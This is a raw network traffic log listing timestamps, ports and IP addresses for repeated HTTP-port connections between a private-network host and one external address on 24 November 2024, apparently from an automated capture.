Nov 24, 2024 12:05:11.176672935 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:11.177412033 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:11.177736044 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:11.177807093 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:11.178164005 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:11.178215981 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:11.178678036 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:11.179001093 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:11.179768085 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:11.179817915 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:11.180039883 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:11.180088043 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:11.180782080 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:11.180893898 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:11.181848049 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:11.181898117 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:11.182666063 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:11.182710886 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:11.182838917 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:11.183049917 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:11.183095932 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:11.183818102 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:11.183934927 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:11.184875011 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:11.184925079 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:11.184997082 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:11.185043097 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:11.185870886 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:11.186028957 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:11.186880112 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:11.186888933 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:11.187947989 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:11.187959909 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:11.187971115 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:11.188007116 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:11.188038111 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:11.188927889 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:11.189543962 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:11.189594030 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:11.189965010 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:11.190150023 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:11.190995932 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:11.191028118 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:11.232347012 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:11.255093098 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:11.375016928 CET	80	49829	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:11.375132084 CET	49829	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:12.492300987 CET	49844	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:12.612081051 CET	80	49844	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:12.612166882 CET	49844	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:12.612354040 CET	49844	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:12.731782913 CET	80	49844	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:13.912841082 CET	80	49844	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:13.920392036 CET	49844	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:14.040371895 CET	80	49844	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:14.042929888 CET	49844	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:14.074435949 CET	49847	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:14.194001913 CET	80	49847	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:14.194963932 CET	49847	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:14.195046902 CET	49847	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:14.314538956 CET	80	49847	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:15.569015026 CET	80	49847	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:15.573004007 CET	49847	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:15.693195105 CET	80	49847	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:15.693262100 CET	49847	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:18.873255014 CET	49858	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:18.992810965 CET	80	49858	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:18.993144989 CET	49858	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:18.993318081 CET	49858	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:19.113224983 CET	80	49858	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:20.258131981 CET	80	49858	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:20.264627934 CET	49858	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:20.385953903 CET	80	49858	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:20.386022091 CET	49858	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:20.476922989 CET	49864	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:20.596549988 CET	80	49864	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:20.596672058 CET	49864	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:20.596874952 CET	49864	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:20.716768980 CET	80	49864	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:21.959080935 CET	80	49864	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:21.959146976 CET	49864	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:22.661478996 CET	49870	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:22.781393051 CET	80	49870	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:22.781507015 CET	49870	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:22.781749964 CET	49870	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:22.902273893 CET	80	49870	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:24.092103958 CET	80	49870	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:24.103589058 CET	49870	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:24.226670027 CET	80	49870	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:24.226936102 CET	49870	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:24.300909996 CET	49874	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:24.420644045 CET	80	49874	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:24.420770884 CET	49874	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:24.421266079 CET	49874	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:24.541177034 CET	80	49874	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:25.734803915 CET	80	49874	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:25.738596916 CET	49874	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:25.858576059 CET	80	49874	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:25.858673096 CET	49874	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:25.900660992 CET	49879	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:26.021588087 CET	80	49879	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:26.021686077 CET	49879	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:26.022053003 CET	49879	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:26.141483068 CET	80	49879	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:26.953608990 CET	80	49864	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:26.953670979 CET	49864	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:27.335227013 CET	80	49879	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:27.344724894 CET	49879	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:27.466136932 CET	80	49879	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:27.466212988 CET	49879	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:27.520593882 CET	49883	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:27.641971111 CET	80	49883	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:27.642471075 CET	49883	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:27.643054008 CET	49883	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:27.762593031 CET	80	49883	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:29.005273104 CET	80	49883	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:29.010879040 CET	49883	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:29.130847931 CET	80	49883	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:29.130916119 CET	49883	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:29.192610025 CET	49887	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:29.312202930 CET	80	49887	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:29.312297106 CET	49887	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:29.312491894 CET	49887	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:29.432221889 CET	80	49887	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:30.639029026 CET	80	49887	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:30.643665075 CET	49887	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:30.763972998 CET	80	49887	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:30.764048100 CET	49887	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:30.852875948 CET	49893	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:30.972812891 CET	80	49893	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:30.972897053 CET	49893	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:30.973300934 CET	49893	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:31.092854977 CET	80	49893	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:32.305784941 CET	80	49893	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:32.312695026 CET	49893	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:32.433069944 CET	80	49893	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:32.433159113 CET	49893	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:33.130189896 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:33.249783039 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:33.249897003 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:33.250124931 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:33.369868040 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:34.878098965 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:34.878264904 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:34.878367901 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:34.878369093 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:34.878408909 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:34.878443956 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:34.878456116 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:34.878484964 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:34.878520012 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:34.878531933 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:34.878555059 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:34.878593922 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:34.878609896 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:34.878627062 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:34.878643990 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:34.998260975 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:34.998281002 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:34.998330116 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.002399921 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.044842005 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.086405039 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.086481094 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.086534977 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.090512991 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.092082977 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.092129946 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.092156887 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.100841999 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.100950003 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.100954056 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.108860016 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.108912945 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.108978987 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.117275000 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.117314100 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.117332935 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.125632048 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.125689983 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.125900030 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.134005070 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.134083033 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.134143114 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.142905951 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.142973900 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.143019915 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.150943995 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.151052952 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.151070118 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.159187078 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.159246922 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.159262896 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.167529106 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.167634964 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.167653084 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.206141949 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.206249952 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.206269026 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.258316994 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.287473917 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.287606001 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.287661076 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.290091038 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.290193081 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.290256023 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.295463085 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.297255039 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.297301054 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.297314882 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.302539110 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.302608013 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.302644968 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.307759047 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.307806969 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.307845116 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.313060045 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.313116074 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.313143015 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.318295956 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.318348885 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.318358898 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.323590994 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.323672056 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.323718071 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.328814030 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.328876972 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.328915119 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.334182024 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.334248066 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.334266901 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.339308023 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.339370012 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.339410067 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.343154907 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.343208075 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.343213081 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.346906900 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.346987009 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.347006083 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.350826025 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.350883007 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.350893974 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.354567051 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.354626894 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.354722977 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.358422041 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.358515978 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.358520031 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.362201929 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.362258911 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.362271070 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.365999937 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.366065979 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.366127968 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.369992971 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.370090008 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.370090008 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.374706030 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.374762058 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.374845982 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.378475904 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.378540039 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.378542900 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.381817102 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.381875038 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.382081032 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.385476112 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.385535002 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.488800049 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.488909006 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.488961935 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.490307093 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.490444899 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.490489960 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.493544102 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.493638039 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.493680000 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.496393919 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.496527910 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.496570110 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.499320030 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.499429941 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.499488115 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.502240896 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.502324104 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.502367020 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.505115986 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.505242109 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.505284071 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.507946968 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.508069038 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.508114100 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.510715008 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.510832071 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.510896921 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.513402939 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.513540983 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.513586044 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.516100883 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.516195059 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.516241074 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.518795967 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.518913031 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.518959999 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.521728992 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.521893024 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.521958113 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.524529934 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.524631977 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.524677038 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.527168989 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.527244091 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.527287006 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.529719114 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.529860973 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.529911995 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.532427073 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.532536983 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.532593966 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.535157919 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.535264015 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.535307884 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.537877083 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.537981987 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.538023949 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.540576935 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.540690899 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.540741920 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.543307066 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.543427944 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.543489933 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.546046972 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.546154976 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.546202898 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.548798084 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.548904896 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.548957109 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.551480055 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.551593065 CET	80	49899	178.215.224.74	192.168.2.5
